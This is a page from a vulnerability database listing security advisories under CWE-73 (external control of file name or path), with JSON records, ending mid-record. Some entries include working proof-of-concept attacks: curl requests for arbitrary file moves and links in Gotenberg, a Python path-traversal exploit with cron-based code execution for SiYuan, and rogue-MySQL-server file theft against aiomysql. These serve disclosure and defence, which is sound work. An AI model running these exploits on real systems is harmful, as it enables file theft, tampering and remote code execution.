CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
911 vulnerabilities reference this CWE, most recent first.
GHSA-QMWH-9M9C-H36M
Vulnerability from github – Published: 2026-04-07 18:16 – Updated: 2026-04-07 18:16Summary
The fix for ExifTool arbitrary file write (commit 043b158, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the HardLink and SymLink pseudo-tags entirely.
Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.
Root Cause
pkg/modules/exiftool/exiftool.go lines 231-237:
dangerousTags := []string{
"FileName", // Writing this triggers a file rename in ExifTool
"Directory", // Writing this triggers a file move in ExifTool
}
for _, tag := range dangerousTags {
delete(metadata, tag)
}
Go's delete(metadata, tag) is case-sensitive. It only removes the exact keys "FileName" and "Directory". ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like filename, FILENAME, directory all bypass the Go blocklist but ExifTool treats them identically.
The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
So filename becomes -filename=/attacker/path which ExifTool interprets as -FileName=/attacker/path.
The blocklist also omits two dangerous ExifTool pseudo-tags:
- HardLink: creates a hard link to the file at the specified path
- SymLink: creates a symbolic link to the file at the specified path
PoC
All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.
Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F files=@sample.pdf \
-F 'metadata={"filename": "/tmp/evil_bypass.pdf"}'
HardLink (hard link created at /tmp/hardlink_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F files=@sample.pdf \
-F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}'
SymLink (symbolic link created at /tmp/symlink_bypass.pdf):
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F files=@sample.pdf \
-F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}'
Verification inside the container:
$ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf
lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf
Also confirmed ExifTool case-insensitivity directly:
exiftool -filename=bypassed.pdf test.pdf # Works identically to -FileName=
Impact
An attacker with access to the Gotenberg API (unauthenticated by default) can:
- Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase
filename/directory - Create hard links at arbitrary paths via
HardLink, persisting data beyond temp directory cleanup - Create symbolic links at arbitrary paths via
SymLink
In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.
Suggested Fix
Use case-insensitive comparison and expand the blocklist:
dangerousTags := []string{
"FileName",
"Directory",
"HardLink",
"SymLink",
}
for key := range metadata {
for _, tag := range dangerousTags {
if strings.EqualFold(key, tag) {
delete(metadata, key)
}
}
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.29.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.30.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-07T18:16:22Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the `HardLink` and `SymLink` pseudo-tags entirely.\n\nConfirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.\n\n## Root Cause\n\n`pkg/modules/exiftool/exiftool.go` lines 231-237:\n\n dangerousTags := []string{\n \"FileName\", // Writing this triggers a file rename in ExifTool\n \"Directory\", // Writing this triggers a file move in ExifTool\n }\n for _, tag := range dangerousTags {\n delete(metadata, tag)\n }\n\nGo\u0027s `delete(metadata, tag)` is case-sensitive. It only removes the exact keys `\"FileName\"` and `\"Directory\"`. ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like `filename`, `FILENAME`, `directory` all bypass the Go blocklist but ExifTool treats them identically.\n\nThe go-exiftool library passes tag names directly to ExifTool\u0027s stdin at line 258:\n\n fmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n\nSo `filename` becomes `-filename=/attacker/path` which ExifTool interprets as `-FileName=/attacker/path`.\n\nThe blocklist also omits two dangerous ExifTool pseudo-tags:\n- `HardLink`: creates a hard link to the file at the specified path\n- `SymLink`: creates a symbolic link to the file at the specified path\n\n## PoC\n\nAll three vectors confirmed against a running Gotenberg v8.29.1 Docker container.\n\n**Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):**\n\n curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n -F files=@sample.pdf \\\n -F \u0027metadata={\"filename\": \"/tmp/evil_bypass.pdf\"}\u0027\n\n**HardLink (hard link created at /tmp/hardlink_bypass.pdf):**\n\n curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n -F files=@sample.pdf \\\n -F \u0027metadata={\"HardLink\": \"/tmp/hardlink_bypass.pdf\"}\u0027\n\n**SymLink (symbolic link created at /tmp/symlink_bypass.pdf):**\n\n curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n -F files=@sample.pdf \\\n -F \u0027metadata={\"SymLink\": \"/tmp/symlink_bypass.pdf\"}\u0027\n\nVerification inside the container:\n\n $ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf\n -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf\n -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf\n lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -\u003e /tmp/.../source.pdf\n\nAlso confirmed ExifTool case-insensitivity directly:\n\n exiftool -filename=bypassed.pdf test.pdf # Works identically to -FileName=\n\n## Impact\n\nAn attacker with access to the Gotenberg API (unauthenticated by default) can:\n\n1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase `filename`/`directory`\n2. Create hard links at arbitrary paths via `HardLink`, persisting data beyond temp directory cleanup\n3. Create symbolic links at arbitrary paths via `SymLink`\n\nIn containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.\n\n## Suggested Fix\n\nUse case-insensitive comparison and expand the blocklist:\n\n dangerousTags := []string{\n \"FileName\",\n \"Directory\",\n \"HardLink\",\n \"SymLink\",\n }\n for key := range metadata {\n for _, tag := range dangerousTags {\n if strings.EqualFold(key, tag) {\n delete(metadata, key)\n }\n }\n }",
"id": "GHSA-qmwh-9m9c-h36m",
"modified": "2026-04-07T18:16:22Z",
"published": "2026-04-07T18:16:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m"
},
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/commit/15050a311b73d76d8b9223bafe7fa7ba71240011"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags"
}
GHSA-QPW8-G895-7HC7
Vulnerability from github – Published: 2024-10-04 18:31 – Updated: 2024-10-04 18:31There is a local file inclusion vulnerability in Esri Portal for ArcGIS 11.2. 11.1, 11.0 and 10.9.1 that may allow a remote, unauthenticated attacker to craft a URL that could potentially disclose sensitive configuration information by reading internal files.
{
"affected": [],
"aliases": [
"CVE-2024-38040"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-04T18:15:07Z",
"severity": "HIGH"
},
"details": "There is a local file inclusion vulnerability in Esri Portal for ArcGIS 11.2. 11.1, 11.0 and 10.9.1 that may allow a remote, unauthenticated attacker to craft a URL that could potentially disclose sensitive configuration information by reading internal files.",
"id": "GHSA-qpw8-g895-7hc7",
"modified": "2024-10-04T18:31:11Z",
"published": "2024-10-04T18:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38040"
},
{
"type": "WEB",
"url": "https://www.esri.com/arcgis-blog/products/trust-arcgis/administration/portal-for-arcgis-security-2024-update-2-released"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QQQ7-4HXC-X63C
Vulnerability from github – Published: 2026-04-09 17:32 – Updated: 2026-05-06 20:04Impact
Shared reply MEDIA: paths are treated as trusted and can trigger cross-channel local file exfiltration.
A crafted shared reply MEDIA reference could cause another channel to read a local file path as trusted generated media.
OpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<=2026.4.4 - Patched versions:
2026.4.8
Fix
The issue was fixed on main and is available in the patched npm version listed above. The verified fixed tree is commit d7c3210cd6f5fdfdc1beff4c9541673e814354d5.
Verification
The fix was re-checked against main before publication, including targeted regression tests for the affected security boundary.
Credits
Thanks @threalwinky for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42424"
],
"database_specific": {
"cwe_ids": [
"CWE-668",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-09T17:32:58Z",
"nvd_published_at": "2026-04-28T19:37:46Z",
"severity": "MODERATE"
},
"details": "## Impact\n\nShared reply MEDIA: paths are treated as trusted and can trigger cross-channel local file exfiltration.\n\nA crafted shared reply MEDIA reference could cause another channel to read a local file path as trusted generated media.\n\nOpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c=2026.4.4`\n- Patched versions: `2026.4.8`\n\n## Fix\n\nThe issue was fixed on `main` and is available in the patched npm version listed above. The verified fixed tree is commit `d7c3210cd6f5fdfdc1beff4c9541673e814354d5`.\n\n## Verification\n\nThe fix was re-checked against `main` before publication, including targeted regression tests for the affected security boundary.\n\n## Credits\n\nThanks @threalwinky for reporting.",
"id": "GHSA-qqq7-4hxc-x63c",
"modified": "2026-05-06T20:04:11Z",
"published": "2026-04-09T17:32:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-qqq7-4hxc-x63c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42424"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/d7c3210cd6f5fdfdc1beff4c9541673e814354d5"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-local-file-exfiltration-via-shared-reply-media-paths"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Shared reply MEDIA - paths are treated as trusted and can trigger cross-channel local file exfiltration"
}
GHSA-QR34-QW34-4824
Vulnerability from github – Published: 2022-03-15 00:00 – Updated: 2022-03-22 00:00The Login with phone number WordPress plugin before 1.3.7 includes a file delete.php with no form of authentication or authorization checks placed in the plugin directory, allowing unauthenticated user to remotely delete the plugin files leading to a potential Denial of Service situation.
{
"affected": [],
"aliases": [
"CVE-2022-0593"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-14T15:15:00Z",
"severity": "MODERATE"
},
"details": "The Login with phone number WordPress plugin before 1.3.7 includes a file delete.php with no form of authentication or authorization checks placed in the plugin directory, allowing unauthenticated user to remotely delete the plugin files leading to a potential Denial of Service situation.",
"id": "GHSA-qr34-qw34-4824",
"modified": "2022-03-22T00:00:52Z",
"published": "2022-03-15T00:00:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0593"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/login-with-phone-number"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/76a50157-04b5-43e8-afbc-a6ddf6d1cba3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-QVH8-5V9X-29HH
Vulnerability from github – Published: 2026-01-13 18:31 – Updated: 2026-05-26 18:31External control of file name or path in Windows Telephony Service allows an authorized attacker to elevate privileges over an adjacent network.
{
"affected": [],
"aliases": [
"CVE-2026-20931"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-13T18:16:20Z",
"severity": "HIGH"
},
"details": "External control of file name or path in Windows Telephony Service allows an authorized attacker to elevate privileges over an adjacent network.",
"id": "GHSA-qvh8-5v9x-29hh",
"modified": "2026-05-26T18:31:36Z",
"published": "2026-01-13T18:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20931"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20931"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2026-20931-detection-script-elevation-of-privilege-vulnerability-in-windows-telephony-service"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2026-20931-mitigation-script-elevation-of-privilege-vulnerability-in-windows-telephony-service"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QVVF-Q994-X79V
Vulnerability from github – Published: 2026-03-16 18:47 – Updated: 2026-03-30 13:58Summary
POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.
Details
File: kernel/api/import.go - functions importSY and importZipMd
file := files[0]
writePath := filepath.Join(util.TempDir, "import", file.Filename)
writer, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)
importZipMd has a second traversal in unzipPath construction:
filenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))
unzipPath := filepath.Join(util.TempDir, "import", filenameMain)
gulu.Zip.Unzip(writePath, unzipPath)
filepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.
PoC
Environment:
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
import requests, zipfile, io
HOST = "http://localhost:6806"
TOKEN = "YOUR_ADMIN_TOKEN"
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
z.writestr("TestNB/20240101000000-abcdefg.sy",
'{"ID":"20240101000000-abcdefg","Spec":"1","Type":"NodeDocument","Children":[]}')
z.writestr("TestNB/.siyuan/sort.json", "{}")
buf.seek(0)
r = requests.post(f"{HOST}/api/import/importSY",
headers={"Authorization": f"Token {TOKEN}"},
files={"file": ("../../data/TRAVERSAL_PROOF.zip", buf.read(), "application/zip")},
data={"notebook": "YOUR_NOTEBOOK_ID", "toPath": "/"})
print(r.text)
RCE via cron (root container):
cron = b"* * * * * root touch /tmp/RCE_CONFIRMED\n"
r = requests.post(f"{HOST}/api/import/importSY",
headers={"Authorization": f"Token {TOKEN}"},
files={"file": ("../../../../../etc/cron.d/siyuan_poc", cron, "application/zip")},
data={"notebook": "NOTEBOOK_ID", "toPath": "/"})
Confirmed response on v3.6.0: {"code":0,"msg":"","data":null}
Impact
An admin can write arbitrary content to any path writable by the SiYuan process: - RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys - Data destruction by overwriting workspace or application files - In Docker containers running as root (common default), this grants full container compromise
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260313024916-fd6526133bb3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32749"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T18:47:02Z",
"nvd_published_at": "2026-03-19T21:17:10Z",
"severity": "HIGH"
},
"details": "### Summary\nPOST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.\n\n### Details\nFile: kernel/api/import.go - functions importSY and importZipMd\n\n```go\nfile := files[0]\nwritePath := filepath.Join(util.TempDir, \"import\", file.Filename)\nwriter, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)\n```\n\nimportZipMd has a second traversal in unzipPath construction:\n```go\nfilenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))\nunzipPath := filepath.Join(util.TempDir, \"import\", filenameMain)\ngulu.Zip.Unzip(writePath, unzipPath)\n```\n\nfilepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n -v $(pwd)/workspace:/siyuan/workspace \\\n b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```python\nimport requests, zipfile, io\n\nHOST = \"http://localhost:6806\"\nTOKEN = \"YOUR_ADMIN_TOKEN\"\n\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, \u0027w\u0027) as z:\n z.writestr(\"TestNB/20240101000000-abcdefg.sy\",\n \u0027{\"ID\":\"20240101000000-abcdefg\",\"Spec\":\"1\",\"Type\":\"NodeDocument\",\"Children\":[]}\u0027)\n z.writestr(\"TestNB/.siyuan/sort.json\", \"{}\")\nbuf.seek(0)\n\nr = requests.post(f\"{HOST}/api/import/importSY\",\n headers={\"Authorization\": f\"Token {TOKEN}\"},\n files={\"file\": (\"../../data/TRAVERSAL_PROOF.zip\", buf.read(), \"application/zip\")},\n data={\"notebook\": \"YOUR_NOTEBOOK_ID\", \"toPath\": \"/\"})\n\nprint(r.text)\n```\n\n**RCE via cron (root container):**\n```python\ncron = b\"* * * * * root touch /tmp/RCE_CONFIRMED\\n\"\nr = requests.post(f\"{HOST}/api/import/importSY\",\n headers={\"Authorization\": f\"Token {TOKEN}\"},\n files={\"file\": (\"../../../../../etc/cron.d/siyuan_poc\", cron, \"application/zip\")},\n data={\"notebook\": \"NOTEBOOK_ID\", \"toPath\": \"/\"})\n```\n\n**Confirmed response on v3.6.0:** {\"code\":0,\"msg\":\"\",\"data\":null}\n\n### Impact\nAn admin can write arbitrary content to any path writable by the SiYuan process:\n- RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys\n- Data destruction by overwriting workspace or application files\n- In Docker containers running as root (common default), this grants full container compromise",
"id": "GHSA-qvvf-q994-x79v",
"modified": "2026-03-30T13:58:28Z",
"published": "2026-03-16T18:47:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-qvvf-q994-x79v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32749"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/5ee00907f0b0c4aca748ce21ef1977bb98178e14"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write"
}
GHSA-R247-3HH7-G6PC
Vulnerability from github – Published: 2025-10-14 18:30 – Updated: 2025-10-14 18:30External control of file name or path in Windows Core Shell allows an unauthorized attacker to perform spoofing over a network.
{
"affected": [],
"aliases": [
"CVE-2025-59244"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-14T17:16:06Z",
"severity": "MODERATE"
},
"details": "External control of file name or path in Windows Core Shell allows an unauthorized attacker to perform spoofing over a network.",
"id": "GHSA-r247-3hh7-g6pc",
"modified": "2025-10-14T18:30:35Z",
"published": "2025-10-14T18:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59244"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59244"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-R2F4-VXWC-229J
Vulnerability from github – Published: 2025-11-25 09:31 – Updated: 2025-11-25 09:31The AI Engine for WordPress: ChatGPT, GPT Content Generator plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.0.1. This is due to insufficient validation of user-supplied file paths in the 'lqdai_update_post' AJAX endpoint and the use of file_get_contents() with user-controlled URLs without protocol restrictions in the insert_image() function. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.
{
"affected": [],
"aliases": [
"CVE-2025-13380"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-25T08:15:50Z",
"severity": "MODERATE"
},
"details": "The AI Engine for WordPress: ChatGPT, GPT Content Generator plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.0.1. This is due to insufficient validation of user-supplied file paths in the \u0027lqdai_update_post\u0027 AJAX endpoint and the use of file_get_contents() with user-controlled URLs without protocol restrictions in the insert_image() function. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.",
"id": "GHSA-r2f4-vxwc-229j",
"modified": "2025-11-25T09:31:24Z",
"published": "2025-11-25T09:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13380"
},
{
"type": "WEB",
"url": "https://github.com/d0n601/CVE-2025-13380"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/liquid-chatgpt/tags/1.0.1/liquid-chatgpt.php#L315"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/liquid-chatgpt/tags/1.0.1/liquid-chatgpt.php#L423"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/liquid-chatgpt/tags/1.0.1/liquid-chatgpt.php#L83"
},
{
"type": "WEB",
"url": "https://ryankozak.com/posts/cve-2025-13380"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ae0abace-9bf6-4ef9-a9b8-7efffbf25628?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-R397-FF8C-WV2G
Vulnerability from github – Published: 2025-10-22 16:47 – Updated: 2025-10-23 17:38Summary
The client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server.
Details
It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503.
PoC
First, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client – tested with https://github.com/rmb122/rogue_mysql_server
- Create a file to be stolen by the rogue server:
echo "gotcha" > /tmp/my_secret_file.txt - Clone the repo:
git clone git@github.com:rmb122/rogue_mysql_server.git && cd rogue_mysql_server - Build the server:
make rogue_mysql_server - Generate a sample config:
rogue_mysql_server -generate - In
config.yamlchangefile_listto["/tmp/my_secret_file.txt"] - Run the server:
./rogue_mysql_server -config config.yaml
Next, the vulnerability can be seen in action with the following script, which can be run in a second terminal:
import asyncio
import aiomysql
loop = asyncio.get_event_loop()
async def test_example():
conn = await aiomysql.connect(
host="127.0.0.1",
port=3306,
user="root",
password="",
db="mysql",
loop=loop,
local_infile=0, # note that we explicitly forbid local_infile
)
cursor = await conn.cursor()
await cursor.execute("SELECT 1")
print(cursor.description)
r = await cursor.fetchall()
print(r)
await cursor.close()
conn.close()
loop.run_until_complete(test_example())
The rogue server will output log messages indicating successful file read and save the contents in the loot/ directory
level=info msg="Client from addr [xxx], ID [1] try to query [select 1]"
level=info msg="Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]"
level=info msg="Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]"
level=info msg="Client leaved, Addr [xxx], ID [1]"
Impact
This vulnerability impacts products and environments that require connection to untrusted MySQL servers or allow the possibility for them to be compromised.
Fix suggestion
Can be fixed by porting relevant changes from PyMySQL – https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.2.0"
},
"package": {
"ecosystem": "PyPI",
"name": "aiomysql"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62611"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-22T16:47:10Z",
"nvd_published_at": "2025-10-22T20:15:38Z",
"severity": "HIGH"
},
"details": "### Summary\nThe client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server.\n\n### Details\nIt is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503.\n\n### PoC\nFirst, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client \u2013 tested with https://github.com/rmb122/rogue_mysql_server\n\n1. Create a file to be stolen by the rogue server: `echo \"gotcha\" \u003e /tmp/my_secret_file.txt`\n2. Clone the repo: `git clone git@github.com:rmb122/rogue_mysql_server.git \u0026\u0026 cd rogue_mysql_server`\n3. Build the server: `make rogue_mysql_server`\n4. Generate a sample config: `rogue_mysql_server -generate`\n5. In `config.yaml` change `file_list` to `[\"/tmp/my_secret_file.txt\"]`\n6. Run the server: `./rogue_mysql_server -config config.yaml`\n\nNext, the vulnerability can be seen in action with the following script, which can be run in a second terminal:\n```python3\nimport asyncio\n\nimport aiomysql\n\n\nloop = asyncio.get_event_loop()\n\n\nasync def test_example():\n conn = await aiomysql.connect(\n host=\"127.0.0.1\",\n port=3306,\n user=\"root\",\n password=\"\",\n db=\"mysql\",\n loop=loop,\n local_infile=0, # note that we explicitly forbid local_infile\n )\n\n cursor = await conn.cursor()\n await cursor.execute(\"SELECT 1\")\n print(cursor.description)\n r = await cursor.fetchall()\n print(r)\n await cursor.close()\n conn.close()\n\n\nloop.run_until_complete(test_example())\n```\n\nThe rogue server will output log messages indicating successful file read and save the contents in the `loot/` directory\n```\nlevel=info msg=\"Client from addr [xxx], ID [1] try to query [select 1]\"\nlevel=info msg=\"Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]\"\nlevel=info msg=\"Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]\"\nlevel=info msg=\"Client leaved, Addr [xxx], ID [1]\"\n```\n\n### Impact\nThis vulnerability impacts products and environments that require connection to untrusted MySQL servers or allow the possibility for them to be compromised.\n\n### Fix suggestion\nCan be fixed by porting relevant changes from PyMySQL \u2013 